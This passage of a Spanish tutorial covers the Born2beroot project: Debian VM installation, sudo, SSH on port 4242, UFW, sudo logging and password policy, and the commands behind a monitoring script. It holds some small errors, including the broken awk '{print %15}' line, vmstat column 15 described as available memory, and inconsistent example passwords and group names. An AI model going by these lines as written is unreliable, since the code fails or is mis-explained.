<img width="789" alt="Screen Shot 2023-03-08 at 1 46 17 PM" src="https://user-images.githubusercontent.com/66915274/223716909-c20cea01-950f-49cd-9ce6-99ec0eab0ea4.png">
<p>23 ◦ Seleccionamos la opción <code>Yes</code> para continuar y confirmar que no queremos hacer más cambios en el disco.</p>
<img width="770" alt="Screen Shot 2023-03-08 at 1 46 52 PM" src="https://user-images.githubusercontent.com/66915274/223716940-b2e29ee7-3c98-434e-bccd-ac21d72eda2d.png">
<p>24 ◦ Seleccionamos la opción <code>No</code> ya que no necesitamos paquetes adicionales.</p>
<img width="770" alt="Captura de pantalla 2022-07-13 a las 20 05 42" src="https://user-images.githubusercontent.com/66915274/178801099-2dda24f5-0d46-4184-8c44-a8fe0bf46527.png">
<p>25 ◦ Escogemos nuestro País.</p>
<img width="756" alt="Captura de pantalla 2022-07-13 a las 20 14 23" src="https://user-images.githubusercontent.com/66915274/178802653-d9e8504a-b60b-4441-8ee3-8d48ca4a6bf0.png">
<p>26 ◦ Escogemos <code>deb.debian.org</code> ya que es lo que recomienda debian.</p>
<img width="792" alt="Captura de pantalla 2022-07-13 a las 20 15 00" src="https://user-images.githubusercontent.com/66915274/178802772-4f67cd99-60d5-4439-8502-317e81e07d70.png">
<p>27 ◦ Esta opción la dejaremos vacía y le daremos <code>Continue</code>.</p>
<img width="797" alt="Captura de pantalla 2022-07-13 a las 20 17 24" src="https://user-images.githubusercontent.com/66915274/178803208-2969acae-3fa7-423e-8a3c-bb7c76eff824.png">
<p>28 ◦ Seleccionamos la opcion <code>No</code> ya que no queremos que los developers vean nuestras estadísticas aunque sean anónimas.</p>
<img width="796" alt="Captura de pantalla 2022-07-13 a las 20 21 54" src="https://user-images.githubusercontent.com/66915274/178803926-a4efbc70-f3e2-4e6c-9809-9152478d8237.png">
<p>29 ◦ Quitaremos todas las opciones de software (con la barra espaciadora) y le daremos a <code>Continue</code>.</p>
<img width="797" alt="Captura de pantalla 2022-07-13 a las 20 24 17" src="https://user-images.githubusercontent.com/66915274/178804377-e775b89e-93d4-482f-a4d0-0ef126f47719.png">
<p>30 ◦ Seleccionaremos <code>Yes</code> para instalar <a href="https://es.wikipedia.org/wiki/GNU_GRUB">GRUB boot</a> en el disco duro.</p>
<img width="792" alt="Captura de pantalla 2022-07-13 a las 20 26 24" src="https://user-images.githubusercontent.com/66915274/178804771-ba16e0b7-9f06-4c5b-9451-0bfd65efd2bb.png">
<p>31 ◦ Escogeremos el dispositivo para la instalación del cargador de arranque <code>/dev/sda (ata_VBOX_HARDDISK)</code>.</p>
<img width="792" alt="Captura de pantalla 2022-07-13 a las 20 35 46" src="https://user-images.githubusercontent.com/66915274/178806441-f1bf3159-4e09-4c9a-9102-b3261c9000d8.png">
<p>32 ◦ Le daremos a <code>Continue</code> para finalizar la instalación.</p>
<img width="794" alt="Captura de pantalla 2022-07-13 a las 20 39 30" src="https://user-images.githubusercontent.com/66915274/178807102-e2a9722e-791f-48a0-ae35-b05b36a37ed2.png">
<h2>4 Configuración de la máquina virtual ⚙️</h2>
<p>➤ Lo primero que debemos hacer es seleccionar <code>Debian GNU/Linux</code>.</p>
<p>➤ Debemos introducir la contraseña de encriptación que utilizamos previamente. En mi caso es <code>Hello42bcn</code>.</p>
<img width="714" alt="Captura de pantalla 2022-07-13 a las 20 47 26" src="https://user-images.githubusercontent.com/66915274/178808699-f1024129-5f90-41d0-a9a8-4806f5bc114b.png">
<p>➤ Debemos introducir el usuario y contraseña que hemos creado. En mi caso el usuario es <code>gemartin</code> y la contraseña <code>Hola42spain</code>.</p>
<img width="798" alt="Captura de pantalla 2022-07-13 a las 20 48 38" src="https://user-images.githubusercontent.com/66915274/178808994-664025ac-36df-4332-8e44-505ecd2ca305.png">
<h3>Ya tenemos todo listo para empezar a configurar nuestra máquina virtual Debian❗️</h3>
<h3>4.1 - Instalación de sudo y configuración de usuarios y grupos 👤</h3>
<p>1 ◦ Para la instalación de sudo primero debemos estar en el usuario root, para ello pondremos <code>Su</code> en el terminal y introduciremos la contraseña, en mi caso es <code>Hola42bcn</code>. Una vez hemos accedido al usuario root debemos poner el comando <code>apt install sudo</code> para así instalar los paquetes necesarios.</p>
<img width="796" alt="Captura de pantalla 2022-07-14 a las 1 36 46" src="https://user-images.githubusercontent.com/66915274/178855273-fc76689c-224b-4368-b7b1-5d1954427aff.png">
<p>2 ◦ Debemos reiniciar la máquina para que se apliquen los cambios. Para ello haremos uso del comando <code>sudo reboot</code> y esperaremos a que se reinicie.</p>
<img width="514" alt="Captura de pantalla 2022-07-14 a las 2 02 24" src="https://user-images.githubusercontent.com/66915274/178857108-a51988e1-084c-498c-86c6-98ab5a3b1305.png">
<p>3 ◦ Una vez reiniciado debemos volver a introducir las contraseñas de cifrado y del usuario. Para verificar que hayamos instalado <code>sudo</code> correctamente entraremos de nuevo en el usuario root y pondremos el comando <code>sudo -V</code>, este comando además de mostrarnos la versión de sudo también mostrará los argumentos pasados para configurar cuando se creó sudo y los plugins que pueden mostrar información más detallada. (Opcional) ➤ Puesto que el output del comando es muy largo si deseamos verlo completamente debemos redireccionar la salida del mismo a un fichero <code>sudo -V > file.txt</code> y luego editar el fichero <code>nano file.txt</code>. O poner <code>| more</code> despues del comando.</p>
<img width="799" alt="Captura de pantalla 2022-07-14 a las 2 09 59" src="https://user-images.githubusercontent.com/66915274/178857742-96356272-abd6-44c4-a3e6-5e8b9f471146.png">
<p>4 ◦ Siguiendo en el usuario root crearemos un usuario con nuestro login con el comando <code>sudo adduser login</code> como nostros ya hemos creado el usuario en la instalación nos debe aparecer que el usuario ya existe.</p>
<img width="509" alt="Captura de pantalla 2022-07-14 a las 2 15 11" src="https://user-images.githubusercontent.com/66915274/178858240-95ce2a2b-004a-4bcb-981a-7990c1cc4fdd.png">
<p>5 ◦ Ahora deberemos crear un nuevo grupo llamado <code>user42</code>. Para crearlo debemos hacer <code>sudo addgroup user42</code>.</p>
<img width="367" alt="Screen Shot 2022-10-26 at 6 30 52 PM" src="https://user-images.githubusercontent.com/66915274/198082677-d393243e-363a-4d1f-95d8-a6695336a47a.png">
<p>🧠 <b>Que es GID❓</b> Es el identificador de grupo, es una abreviatura de Group 🆔.</p>
<p>🤔 <b> Se ha creado correctamente el grupo? </b> Lo cierto es que si ya que no ha habido ningún mensaje de error, aún así podemos comprobar si se ha creado con el comando <code>getent group nombre_grupo</code> o también podemos hacer <code>cat /etc/group</code> y podremos ver todos los grupos y los usuarios que hay dentro de ellos.</p>
<p>6 ◦ Con el comando <code>sudo adduser user group</code> incluiremos al usuario en el grupo. Debemos incluir al usuario en los grupos <code>sudo</code> y <code>user42</code>.</p>
<img width="422" alt="Screen Shot 2022-10-26 at 6 32 30 PM" src="https://user-images.githubusercontent.com/66915274/198083019-c5a442bb-c625-45ce-84e1-bcbca3a7dba5.png">
<img width="404" alt="Screen Shot 2022-10-26 at 6 34 09 PM" src="https://user-images.githubusercontent.com/66915274/198083377-bd4162c6-317b-474f-8bc4-e542be4dcfde.png">
<p>7 ◦ Una vez los hayamos introducido para checkear que todo se haya hecho correctamente podemos ejecutar el comando <code>getent group nombre_grupo</code> o tambien podemos editar el fichero /etc/group <code>nano /etc/group</code> y en los grupos <code>sudo</code> y <code>login42</code> debera aparecer nuestro usuario.</p>
<img width="328" alt="Screen Shot 2022-10-26 at 6 35 50 PM" src="https://user-images.githubusercontent.com/66915274/198083739-ad16e388-69c3-41d1-a061-e55dd66b0d14.png">
<img width="151" alt="Screen Shot 2022-10-26 at 6 36 18 PM" src="https://user-images.githubusercontent.com/66915274/198083854-0fba5296-a49f-44cc-8427-59a692e69288.png">
<img width="353" alt="Screen Shot 2022-10-26 at 6 39 22 PM" src="https://user-images.githubusercontent.com/66915274/198084464-f73352ee-ed21-478b-a44d-d86eb6d8a1cd.png">
<img width="183" alt="Screen Shot 2022-10-26 at 6 38 25 PM" src="https://user-images.githubusercontent.com/66915274/198084311-45a50162-ff89-4e7d-a3c5-45e7048520a4.png">
<h3>4.2 - Instalación y configuración SSH 📶</h3>
<p>🧠 <b> Que es SSH❓</b> Es el nombre de un protocolo y del programa que lo implementa cuya principal función es el acceso remoto a un servidor por medio de un canal seguro en el que toda la información está cifrada.</p>
<p>1 ◦ Lo primero que haremos será hacer <code>sudo apt update</code> para actualizar los repositorios que definimos en el archivo /etc/apt/sources.list</p>
<img width="774" alt="Captura de pantalla 2022-07-14 a las 3 09 44" src="https://user-images.githubusercontent.com/66915274/178864173-aa5a08cf-8562-4484-a60a-3e1c7a533a28.png">
<p>2 ◦ Acto seguido instalaremos la herramienta principal de conectividad para el inicio de sesión remoto con el protocolo SSH, esta herramienta es OpenSSH. Para instalarla debemos introducir el comando <code>sudo apt install openssh-server</code>. En el mensaje de confirmación ponemos <code>Y</code>, acto seguido esperaremos a que termine la instalación.</p>
<img width="772" alt="Captura de pantalla 2022-07-14 a las 3 14 52" src="https://user-images.githubusercontent.com/66915274/178865991-cdb90f12-ebd8-4583-bcbb-70f47c86abe6.png">
<p>Para comprobar que se haya instalado correctamente haremos <code>sudo service ssh status</code> y nos debe aparecer active.</p>
<img width="702" alt="Captura de pantalla 2022-07-14 a las 3 53 59" src="https://user-images.githubusercontent.com/66915274/178876938-7fd74214-15df-4759-bf8d-52b53a8f4251.png">
<p>3 ◦ Una vez terminada la instalación se han creado algunos ficheros que debemos configurar. Para ello utilizaremos <a href="https://es.wikipedia.org/wiki/GNU_Nano">Nano</a> o si tu lo prefieres otro editor de texto. El primer fichero que editaremos será <code>/etc/ssh/sshd_config</code>. Si no estas desde el usuario root no tendrás permisos de escritura, para ello haremos <code>su</code> y ponemos la contraseña para entrar al usuario root o si no quieres entrar en el usuario root ponemos sudo al principio del comando <code>sudo nano /etc/ssh/sshd_config</code>.</p>
<img width="497" alt="Captura de pantalla 2022-07-14 a las 3 24 21" src="https://user-images.githubusercontent.com/66915274/178867150-273c75c1-c935-45f0-a551-1a115d3f6f6a.png">
<p>4 ◦ Los <code>#</code> al comienzo de una línea significan que esta comentada, las líneas que vayamos a modificar deberás quitarle el comentario. Una vez estemos editando el fichero deberemos modificar las siguientes líneas:</p>
<p>➤ #Port 22 -> Port 4242</p>
<img width="807" alt="Captura de pantalla 2022-07-14 a las 3 31 04" src="https://user-images.githubusercontent.com/66915274/178867929-0f8be11e-d0ca-4445-af05-a693d01411bd.png">
<p>➤ #PermitRootLogin prohibit-password -> PermitRootLogin no</p>
<img width="798" alt="Captura de pantalla 2022-07-14 a las 3 34 13" src="https://user-images.githubusercontent.com/66915274/178868266-fc6d6684-8196-4021-b884-a047a443a3ec.png">
<p>Una vez hayamos modificado esas líneas debemos guardar los cambios realizados sobre el fichero y dejar de editarlo.</p>
<p>5 ◦ Ahora debemos editar el fichero <code>/etc/ssh/ssh_config</code>.</p>
<img width="501" alt="Captura de pantalla 2022-07-14 a las 3 48 56" src="https://user-images.githubusercontent.com/66915274/178872582-8277e687-8ab7-4087-bd17-a71e5e86d5e6.png">
<p>Editaremos la siguiente línea:</p>
<p>➤ #Port 22 -> Port 4242</p>
<img width="795" alt="Captura de pantalla 2022-07-14 a las 3 50 29" src="https://user-images.githubusercontent.com/66915274/178875013-1969c13f-9e43-4f2a-a037-f384a8e87a78.png">
<p>6 ◦ Por último debemos reiniciar el servicio ssh para que así se actualicen las modificaciones que acabamos de realizar. Para ello debemos escribir el comando <code>sudo service ssh restart</code> y una vez reseteado miraremos el estado actual con <code>sudo service ssh status</code> y para confirmar que se hayan realizado los cambios en la escucha del servidor debe aparecer el Puerto 4242.</p>
<img width="713" alt="Captura de pantalla 2022-07-14 a las 3 56 56" src="https://user-images.githubusercontent.com/66915274/178880333-0e2ad7fd-674b-4b4f-b92a-25acbc36c8a5.png">
<h3>4-3 Instalació y configuración de UFW 🔥🧱</h3>
<p>🧠 <b>Que es <a href="https://es.wikipedia.org/wiki/Uncomplicated_Firewall">UFW</a>❓</b> Es un <a href="https://es.wikipedia.org/wiki/Cortafuegos_(inform%C3%A1tica)">firewall</a> el cual utiliza la línea de comandos para configurar las <a href="https://es.wikipedia.org/wiki/Iptables">iptables</a> usando un pequeño número de comandos simples.</p>
<p>1 ◦ Lo primero que debemos hacer el instalar UFW, para ello haremos uso del comando <code>sudo apt install ufw</code> acto seguido escribiremos una <code>y</code> para confirmar que deseamos instalarlo y esperaremos a que termine.</p>
<img width="771" alt="Captura de pantalla 2022-07-14 a las 19 28 55" src="https://user-images.githubusercontent.com/66915274/179045920-4a9aec64-b1d7-4785-89a1-4a299aae21a3.png">
<img width="802" alt="Captura de pantalla 2022-07-14 a las 19 29 25" src="https://user-images.githubusercontent.com/66915274/179045994-19cdf6e0-be61-454b-9adc-ba1f9c2dfd84.png">
<p>2 ◦ Una vez instalado debemos habilitarlo , para ello debemos poner el siguiente comando <code>sudo ufw enable</code> y acto seguido nos debe indicar que el firewall esta activo.</p>
<img width="498" alt="Captura de pantalla 2022-07-14 a las 19 32 57" src="https://user-images.githubusercontent.com/66915274/179046565-307c042b-243e-4224-bcb2-d02859332352.png">
<p>3 ◦ Ahora lo que debemos hacer es que nuestro firewall permita las conexiones que se lleven a cabo mediante el puerto 4242. Lo haremos con el siguiente comando <code>sudo ufw allow 4242</code>.</p>
<img width="514" alt="Captura de pantalla 2022-07-14 a las 19 34 12" src="https://user-images.githubusercontent.com/66915274/179046765-5277ec55-b8e4-4d4f-a617-a2a8758b80a8.png">
<p>4 ◦ Por último comprobaremos que esta todo correctamente configurado mirando el estado de nuestro cortafuegos , en donde ya debe aparecer como permitidas las conexiones mediante el puerto 4242. Para ver el estado daremos uso del comando <code>sudo ufw status</code>.</p>
<img width="575" alt="Captura de pantalla 2022-07-14 a las 19 38 37" src="https://user-images.githubusercontent.com/66915274/179047574-8073045c-6e78-4b6f-8487-cb0f490a2cd0.png">
<h3>4-4 Configurar contraseña fuerte para sudo 🔒</h3>
<p>1 ◦ Crearemos un fichero en la ruta /etc/sudoers.d/ a mi fichero yo le he decidido llamar sudo_config ya que en ese fichero se almacenará la configuración de la contraseña. El comando exacto para crear el fichero es <code>touch /etc/sudoers.d/sudo_config</code>.</p>
<img width="511" alt="Captura de pantalla 2022-07-14 a las 22 00 40" src="https://user-images.githubusercontent.com/66915274/179072822-2f86bd8b-216e-45e4-a15b-8fe3a49149ff.png">
<p>2 ◦ Debemos crear el directorio sudo en la ruta /var/log porque cada comando que ejecutemos con sudo , tanto el input como el output debe quedar almacenado en ese directorio. Para crearlo utilizaremos el comando <code>mkdir /var/log/sudo</code>.</p>
<img width="502" alt="Captura de pantalla 2022-07-14 a las 21 56 53" src="https://user-images.githubusercontent.com/66915274/179072210-ad99e50d-fa57-494b-999d-3a80dd0f7849.png">
<p>3 ◦ Debemos editar el fichero creado en el paso 1. Como he comentado anteriormente puedes utilizar el editor que mas te guste , pero yo dare uso de nano. Comando para editar el fichero: <code>nano /etc/sudoers.d/sudo_config</code>.</p>
<img width="502" alt="Captura de pantalla 2022-07-14 a las 22 04 10" src="https://user-images.githubusercontent.com/66915274/179073389-5b2a9c16-811c-4133-87c6-479e770c880b.png">
<p>4 ◦ Una vez estamos editando el fichero deberemos introducir los siguientes comandos para cumplir todos los requisitos que pide el subject.</p>
<pre><code>Defaults passwd_tries=3
Defaults badpass_message="Mensaje de error personalizado"
Defaults logfile="/var/log/sudo/sudo_config"
Defaults log_input, log_output
Defaults iolog_dir="/var/log/sudo"
Defaults requiretty
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
</code></pre>
<p>➤ Como debería verse el fichero.</p>
<img width="1202" alt="Captura de pantalla 2022-07-16 a las 2 03 45" src="https://user-images.githubusercontent.com/66915274/179326003-1fd67295-4be2-47bd-98fc-d5821f5f1c4d.png">
<p>🤔 <b>Que hace cada comando❓ </b></p>
<img width="802" alt="Captura de pantalla 2022-07-16 a las 2 04 56" src="https://user-images.githubusercontent.com/66915274/179326915-b374f679-fa2e-4e02-8b38-cdb53c6354a6.png">
<h3>4-5 Configuración de política de contraseñas fuerte 🔑</h3>
<p>1 ◦ El primer paso será editar el fichero login.defs.</p>
<img width="493" alt="Captura de pantalla 2022-07-16 a las 2 54 06" src="https://user-images.githubusercontent.com/66915274/179327943-67432d4a-7042-44ea-96f4-5975556ce4dc.png">
<p>2 ◦ Una vez estemos editando el fichero modificaremos los siguientes parametros:</p>
<p>➤ PASS_MAX_DAYS 99999 -> PASS_MAX_DAYS 30</p>
<p>➤ PASS_MIN_DAYS 0 -> PASS_MIN_DAYS 2</p>
<img width="802" alt="Captura de pantalla 2022-07-16 a las 3 05 49" src="https://user-images.githubusercontent.com/66915274/179328449-32a40f67-a18d-4f29-993b-94d013cd7670.png">
<p>PASS_MAX_DAYS: Es el tiempo de expiración de la contraseña. El numero corresponde a días.</p>
<p>PASS_MIN_DAYS: El número mínimo de días permitido antes de modificar una contraseña.</p>
<p>PASS_WARN_AGE: El usuario recibira un mensaje de aviso indicando que faltan los dias especificados para que expire su contraseña.</p>
<p>3 ◦ Para poder seguir con la configuración debemos instalar los siguientes paquetes con este comando <code>sudo apt install libpam-pwquality</code> , acto seguido pondremos <code>Y</code> para confirmar la instalación y esperaremos a que termine.</p>
<img width="770" alt="Captura de pantalla 2022-07-16 a las 3 13 52" src="https://user-images.githubusercontent.com/66915274/179328708-c5054703-bdb0-4cca-82a8-6ab25ce42b40.png">
<p>4 ◦ Lo siguiente que debemos hacer es volver a editar un fichero y modificar algunas líneas. Haremos <code>nano /etc/pam.d/common-password</code>.</p>
<img width="500" alt="Captura de pantalla 2022-07-16 a las 3 27 02" src="https://user-images.githubusercontent.com/66915274/179329260-0e18bd27-a522-4c7c-86bf-21823eee0f8b.png">
<p>5 ◦ Despues de retry=3 debemos añadir los siguientes comandos:</p>
<pre><code>minlen=10
ucredit=-1
dcredit=-1
lcredit=-1
maxrepeat=3
reject_username
difok=7
enforce_for_root
</code></pre>
<p>➤ Así debe ser la línea ↙️</p>
<img width="1047" alt="Screen Shot 2023-01-03 at 7 41 57 PM" src="https://user-images.githubusercontent.com/66915274/210420896-8274b75b-86e4-4fba-9a14-ca838b61c2e6.png">
<p>➤ Así se debe ver en el fichero ↙️</p>
<img width="800" alt="Captura de pantalla 2022-07-16 a las 3 38 08" src="https://user-images.githubusercontent.com/66915274/179329787-1b718843-9272-43e4-8d92-8d83933cc938.png">
<p>🤔 <b>Que hace cada comando❓</b></p>
<p>minlen=10 ➤ La cantidad minima de caracteres que debe contener la contraseña.</p>
<p>ucredit=-1 ➤ Como mínimo debe contener una letra mayúscula. Ponemos el - ya que debe contener como mínimo un caracter, si ponemos + nos referimos a como maximo esos caracteres.</p>
<p>dcredit=-1 ➤ Como mínimo debe contener un digito.</p>
<p>lcredit=-1 ➤ Como mínimo debe contener una letra minúscula.</p>
<p>maxrepeat=3 ➤ No puede tener más de 3 veces seguidas el mismo caracter.</p>
<p>reject_username ➤ No puede contener el nombre del usuario.</p>
<p>difok=7 ➤ Debe tener al menos 7 caracteres que no sean parte de la antigua contraseña.</p>
<p>enforce_for_root ➤ Implementaremos esta política para el usuario root.</p>
<h3>4-6 Conectarse via SSH 🗣</h3>
<p>1 ◦ Para conectarnos por SSH debemos cerrar la máquina, abrir VirtualBox y darle a configuración.</p>
<img width="832" alt="Captura de pantalla 2022-07-18 a las 10 15 13" src="https://user-images.githubusercontent.com/66915274/179470948-d9a863ef-f1a3-41fb-a103-25378064e747.png">
<p>2 ◦ Una vez en configuración debemos pinchar sobre el apartado de <code>Red</code> , pincharemos sobre <code>Avanzadas</code> para que así nos muestre más opciones y le daremos a <code>Reenvío de puertos</code>.</p>
<img width="684" alt="Captura de pantalla 2022-07-18 a las 10 18 32" src="https://user-images.githubusercontent.com/66915274/179471690-cfbdbf4b-ab93-4b12-9504-2482712652a3.png">
<p>3 ◦ Pincharemos sobre el siguiente emoticono para agregar una regla de reenvío.</p>
<img width="585" alt="Captura de pantalla 2022-07-18 a las 10 21 24" src="https://user-images.githubusercontent.com/66915274/179471855-913a684d-c7b0-43e2-9e01-d2c954fe75a4.png">
<p>4 ◦ Por último agregaremos el puerto <code>4242</code> al anfitrión y al invitado. Las IP's no son necesarias. Pincharemos sobre el botón de aceptar para que así se apliquen los cambios.</p>
<img width="588" alt="Captura de pantalla 2022-07-18 a las 10 22 29" src="https://user-images.githubusercontent.com/66915274/179472105-5942b3ec-5c29-4d49-a00e-67f9cde289e8.png">
<p>➤ Para poder conectarnos a la máquina virtual desde la real debemos abrir un terminal en la máquina real y escribir <code>ssh gemartin@localhost -p 4242</code> nos pedirá la clave del usuario y una vez la introduzcamos ya nos saldrá el login en verde y eso significa que estaremos conectados.</p>
<img width="517" alt="Screen Shot 2022-10-27 at 12 40 23 AM" src="https://user-images.githubusercontent.com/66915274/198174777-28f7793b-273b-43ce-b1c2-4a890353cb8c.png">
<img width="566" alt="Screen Shot 2022-10-27 at 12 40 04 AM" src="https://user-images.githubusercontent.com/66915274/198174814-c1873c62-41dd-4c1d-ad2d-f268b2da0e4c.png">
<p>⚠️ Si quieres conectarte por SSH con VMware ⚠️</p>
<p>1 ◦ Daremos click derecho sobre nuestra máquina y escogeremos la opción <code>Connect to SSH</code>.</p>
<img width="621" alt="Screen Shot 2023-12-07 at 6 54 01 AM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/5bab8bc8-d2c2-4e35-bb84-e2491ffc7767">
<p>2 ◦ Una vez se nos abra la siguiente pestaña debemos rellenar todos los campos. En port debemos poner <code>4242</code> para indicar que queremos conectarnos por ese puerto. Los siguientes campos son el username de tu maquina, en mi caso <code>gemartin</code> y la contraseña del usuario , en mi caso <code>Hola42spain</code>.</p>
<img width="949" alt="Screen Shot 2023-12-07 at 6 56 44 AM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/c17dad12-2c12-4c64-8653-8be765560501">
<p>También podemos conectarnos mediante el terminal pero debemos sustituir localhost por la IP de la máquina virtual quedaría algo asi: <code>ssh gemartin@10.11.250.100 -p 4242</code>. Revisa la IP de tu máquina virtual y sustituyela por la que pongo de ejemplo.</p>
<h2>5- Script 🚨</h2>
<p>Esta es una parte muy importante del proyecto. Debes prestar atención en todo, muy importante no copiar y pegar directamente el fichero sin saber que hace cada cosa. En la evaluación debes explicar cada comando si el evaluador lo pide.</p>
<p>🧠 <b>Que es un script❓</b> Es una secuencia de comandos guardada en un fichero que cuando se ejecuta hara la funcion de cada comando.</p>
<h3>5-1 Architecture</h3>
<p>Para poder ver la arquitectura del SO y su versión de kernel utilizaremos el comando <code>uname -a</code> ( "-a" == "--all" ) que basicamente printara toda la información excepto si el tipo de procesador es desconocido o la plataforma de hardware.</p>
<img width="715" alt="Screen Shot 2022-10-27 at 4 50 06 PM" src="https://user-images.githubusercontent.com/66915274/198322524-8c2d305f-bfe8-4e4a-bf31-6a883af71ad3.png">
<h3>5-2 Núcleos físicos</h3>
<p>Para poder mostrar el numero de nucleos fisicos haremos uso del fichero /proc/cpuinfo el cual proporciona información acerca del procesador: su tipo, marca, modelo, rendimiento, etc. Usaremos el comando <code>grep "physical id" /proc/cpuinfo | wc -l</code> con el comando grep buscaremos dentro del fichero "physical id" y con wc -l contaremos las lineas del resultado de grep. Esto lo hacemos ya que la manera de cuantificar los nucleos no es muy común. Si hay un procesador marcará 0 y si tiene más de un procesador, mostrará toda la información del procesador por separado contando los procesadores usando la notación cero. De esta manera simplemente contaremos las lineas que hay ya que es más cómodo cuantificarlo así.</p>
<img width="596" alt="Screen Shot 2022-10-27 at 4 50 49 PM" src="https://user-images.githubusercontent.com/66915274/198322799-4bf2131e-7fba-4c9e-8d1b-bb9cc1b89e76.png">
<h3>5-3 Núcleos virtuales</h3>
<p>Para poder mostrar el numero de nucleos virtuales es muy parecido al anterior. Haremos uso de nuevo del fichero /proc/cpuinfo , pero, en este caso utilizaremos el comando <code>grep processor /proc/cpuinfo | wc -l</code>. El uso es practicamente el mismo al anterior solo que en vez de contar las lineas de "physical id" lo haremos de processor. Lo hacemos así por el mismo motivo de antes, la manera de cuantificar marca 0 si hay un procesador.</p>
<img width="586" alt="Screen Shot 2022-10-27 at 4 55 48 PM" src="https://user-images.githubusercontent.com/66915274/198324254-3d0f247d-b767-4e02-9e69-11b4e0586280.png">
<h3>5-4 Memoria RAM</h3>
<p>Para mostrar la memoria ram haremos uso del comando <code>free</code> para así ver al momento información sobre la ram, la parte usada, libre, reservada para otros recursos, etc. Para más info sobre el comando pondremos free --help. Nosotros daremos uso de free --mega ya que en el subject aparece esa unidad de medida (Megabyte). Es importante poner --mega y no -m. Con -m nos referiremos a la unidad de medida Mebibyte y no es la que especifica el subject.</p>
<img width="672" alt="Captura de pantalla 2022-08-02 a las 2 46 10" src="https://user-images.githubusercontent.com/66915274/182268241-86b743bb-653d-4fef-acda-e7bfa59e38d7.png">
<p>Una vez hemos ejecutado este comando debemos filtrar nuestra busqueda ya que no necesitamos toda la información que nos aporta , lo primero que debemos mostrar es la memoria usada, para ello haremos uso del comando <code>awk</code> que lo que hace este comando es para procesar datos basados en archivos de texto, es decir, podremos utilizar los datos que nos interesen de X fichero. Por último lo que haremos será comparar si la primera palabra de una fila es igual a "Mem:" printaremos la tercera palabra de esa fila que será la memoria usada. Todo el comando junto seria <code>free --mega | awk '$1 == "Mem:" {print $3}'</code>. En el script el valor de retorno de este comando se lo asignaremos a una variable que concatenaremos con otras variables para que todo quede igual como especifica el subject.</p>
<img width="621" alt="Captura de pantalla 2022-08-02 a las 2 55 21" src="https://user-images.githubusercontent.com/66915274/182269019-d5bb3107-f091-491f-a4ab-27edd357aec8.png">
<p>Para obtener la memoria total el comando es practicamente igual al anterior lo único que deberemos cambiar es que en vez de printar la tercera palabra de la fila queremos la segunda <code>free --mega | awk '$1 == "Mem:" {print $2}'</code>.</p>
<img width="605" alt="Captura de pantalla 2022-08-02 a las 3 00 02" src="https://user-images.githubusercontent.com/66915274/182269450-318816e1-fc71-48b0-a860-278cc6050e05.png">
<p>Por última parte debemos calcular el % de memoria usada. El comando de nuevo es parecido a los anteriores la única modificación que haremos en la parte del printeo. Como la operación para conseguir el tanto porciento no es exacta nos puede dar muchos decimales y en el subject solo aparecen 2 asique nosotros haremos lo mismo, por eso utilizamos <code>%.2f</code> para que asi solo se muestren 2 decimales. Otra cosa que quizás no sepas es en printf para que se muestre un <code>%</code> hay que poner <code>%%</code>. Todo el comando <code>free --mega | awk '$1 == "Mem:" {printf("(%.2f%%)\n", $3/$2*100)}'</code>.</p>
<img width="798" alt="Captura de pantalla 2022-08-02 a las 3 51 01" src="https://user-images.githubusercontent.com/66915274/182274627-195476b2-1e17-4a4c-8d5c-2056e4e2bbb6.png">
<h3>5-5 Memoria del disco</h3>
<p>Para poder ver la memoria del disco ocupada y disponible utilizaremos el comando <code>df</code> que significa "disk filesystem" , se utiliza para obtener un resumen completo del uso del espacio en disco. Como en el subject indica la memoria utilizada se muestra en MB asi que entonces utilizaremos el flag -m. Acto seguido haremos un grep para que solo nos muestre las lineas que contengan "/dev/" y seguidamente volveremos a hacer otro grep con el flag -v para excluir las lineas que contengan "/boot". Por último utilizaremos el comando awk y sumaremos el valor de la tercera palabra de cada linea para una vez sumadas todas las lineas printar el resultado final de la suma. El comando entero es el siguiente: <code>df -m | grep "/dev/" | grep -v "/boot" | awk '{memory_use += $3} END {print memory_use}'</code>.</p>
<img width="805" alt="Captura de pantalla 2022-08-03 a las 2 26 15" src="https://user-images.githubusercontent.com/66915274/182498837-4f883b25-e316-4c74-8f6b-a5e8b5d13289.png">
<p>Para obtener el espacio total utilizaremos un comando muy parecido. Las unicas diferencias seran que los valores que sumaremos seran los $2 en vez de $3 y la otra diferencia es que en el subject aparece el tamaño total en Gb asique como el resultado de la suma nos da el numero en Mb debemos transformarlo a Gb , para ello debemos dividir el numero entre 1024 y quitar los decimales.</p>
<img width="1195" alt="Screen Shot 2023-03-14 at 8 54 34 PM" src="https://user-images.githubusercontent.com/66915274/225121482-93ae204e-54eb-4397-b25c-b3d99229bba5.png">
<p>Por último debemos mostrar un porcentaje de la memoria usada. Para ello , de nuevo, utilizaremos un comando muy parecido a los dos anteriores. Lo unico que cambiaremos es que combinaremos los dos comandos anteriores para tener dos variables , una que representa la memoria usada y la otra la total. Hecho esto haremos una operacion para conseguir el tanto por ciento <code>use/total*100</code> y el resultado de esta operacion lo printaremos como aparece en el subject , entre parentesis y con el simbolo % al final. El comando final es este: <code>df -m | grep "/dev/" | grep -v "/boot" | awk '{use += $3} {total += $2} END {printf("(%d%%)\n"), use/total*100}'</code>.</p>
<img width="798" alt="Captura de pantalla 2022-08-03 a las 2 49 33" src="https://user-images.githubusercontent.com/66915274/182500836-dd4b068e-b6ce-4dc6-b832-f90acecfb71c.png">
<h3>5-6 Porcentaje uso de CPU</h3>
<p>Para poder ver el porcentaje de uso de CPU haremos uso del comando <code>vmstat</code>. Este muestra estadísticas del sistema, permitiendo obtener un detalle general de los procesos, uso de memoria, actividad de CPU, estado del sistema, etc. Podriamos poner si ninguna opción pero en mi caso pondré un intervalo de segundos de 1 a 4. Tambien daremos uso del comando <code>tail -1</code> que este lo que nos va a permitir es que solo produzca el output la ultima linea, entonces de las 4 generadas solo se printara la ultima. Por ultimo solo printaremos la palabra 15 que es el uso de memoria disponible. El comando entero es el siguiente: <code>vmstat 1 4 | tail -1 | awk '{print %15}'</code>. El resultado de este comando solo es una parte del resultado final ya que todavia hay que hacer alguna operación en el script para que quede bien. Lo que habria que hacer es a 100 restarle la cantidad que nos ha devuelto nuestro comando, el resultado de esa operación lo printaremos con un decimal y un % al final y ya estaría hecha la operación.</p>
